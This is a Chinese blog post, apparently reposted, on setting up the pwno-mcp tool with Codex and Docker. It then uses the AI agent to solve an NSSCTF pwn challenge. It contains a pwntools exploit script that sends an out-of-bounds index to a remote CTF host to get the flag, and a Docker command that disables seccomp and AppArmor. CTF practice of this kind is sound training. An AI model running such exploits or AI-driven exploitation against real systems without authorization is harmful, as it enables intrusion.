pwno-mcp体验

admin 2026-07-11 05:03:18 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍了pwno-mcp工具的安装与使用体验,包括在Codex中配置MCP服务、通过Docker启动容器并挂载本地目录,以及利用该工具辅助解决CTFpwn题目的过程。文章提供了详细的步骤和示例脚本,展示了pwno-mcp在自动化漏洞利用中的实际应用。 综合评分: 75 文章分类: CTF,二进制安全,安全工具,实战经验,渗透测试


cover_image

pwno-mcp体验

原创

Helloleader Helloleader

渝安服

2026年7月10日 10:40 重庆

在小说阅读器读本章

去阅读

pwno-mcp体验

1.安装环境

前提环境

需要docker环境,和codex环境。

docker安装就不说了,简单说下codex

先安装codex,我这里是intel的mac版本,就直接下载安装包:

https://github.com/openai/codex/releases/

将包里面的codex移动到任意目录后,

sudomv codex /usr/local/bin

然后运行codex登陆后就行,其他版本参考https://m.runoob.com/codex/codex-install.html

pwno-mcp说明:https://docs.pwno.io/quickstart

在 Codex 中添加 MCP 配置

编辑 ~/.codex/config.toml,追加下面这段:

[mcp_servers.pwno-mcp]url = "http://127.0.0.1:5500/mcp"

这一步只是告诉 Codex 去哪里连接 pwno-mcp。真正的服务还需要通过 Docker 启动。

可以用下面的命令检查配置是否已被识别:

codex mcp list

如果配置正确,输出里会出现:

pwno-mcp  http://127.0.0.1:5500/mcp

2.启动docker容器

所有pwn的操作都在docker容器里面,然后mcp再传给gpt。

官方文档建议使用 Docker 启动,并保留所需能力与安全参数。实测可用命令如下:

docker run -d --name pwno-mcp -p 127.0.0.1:5500:5500 --cap-add=SYS_PTRACE --cap-add=SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined -v "/Users/leader/Desktop/pwno-mcp:/workspace" ghcr.io/pwno-io/pwno-mcp:latest

参数说明

–name pwno-mcp:固定容器名称,便于后续查看日志和重启。

-p 127.0.0.1:5500:5500:把本地 5500 端口映射到容器。

–cap-add=SYS_PTRACE–cap-add=SYS_ADMIN:保留调试和分析所需能力。

--security-opt seccomp=unconfined--security-opt apparmor=unconfined:保持和官方 Quick Start 一致。

-v “宿主机目录:/workspace”`:把本地目录挂载到容器内。

检查容器状态

docker ps --filter name=pwno-mcp

3.解题

例题:

https://www.nssctf.cn/problem/2330

对话过程:

参考https://docs.pwno.io/quickstart内容,帮我检查是否安装pwno-mcp成功

最终脚本:

#!/usr/bin/env python3from pwn import *import re

context.binary = ELF("/workspace/service2", checksec=False)context.arch = "amd64"context.log_level = "info"
HOST = args.HOST or "node4.anna.nssctf.cn"PORT = int(args.PORT or 20347)
INDEX = b"-14"VALUE = b"0"

def start():    if args.LOCAL:        return process(context.binary.path)    return remote(HOST, PORT)

def exploit():    io = start()
    # The program only needs two integers; avoid waiting on prompts in case the    # remote wrapper does not flush stdout.    io.sendline(INDEX)    io.sendline(VALUE)
    data = io.recvall(timeout=3)    if data:        print(data.decode("latin1", "ignore"))
        match = re.search(rb"[A-Za-z0-9_]+\{[^}\n]+\}", data)        if match:            log.success(f"flag: {match.group().decode()}")    else:        log.warning("no output received from target")
    io.close()

if __name__ == "__main__":    exploit()

题目如果比较卡,脚本会出错可能,因为我自己试过nc连,没有第一时间返回内容。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:渝安服 Helloleader Helloleader《pwno-mcp体验》

pwno-mcp体验 网络安全文章

pwno-mcp体验

文章总结: 本文介绍了pwno-mcp工具的安装与使用体验,包括在Codex中配置MCP服务、通过Docker启动容器并挂载本地目录,以及利用该工具辅助解决CT
评论:0   参与:  0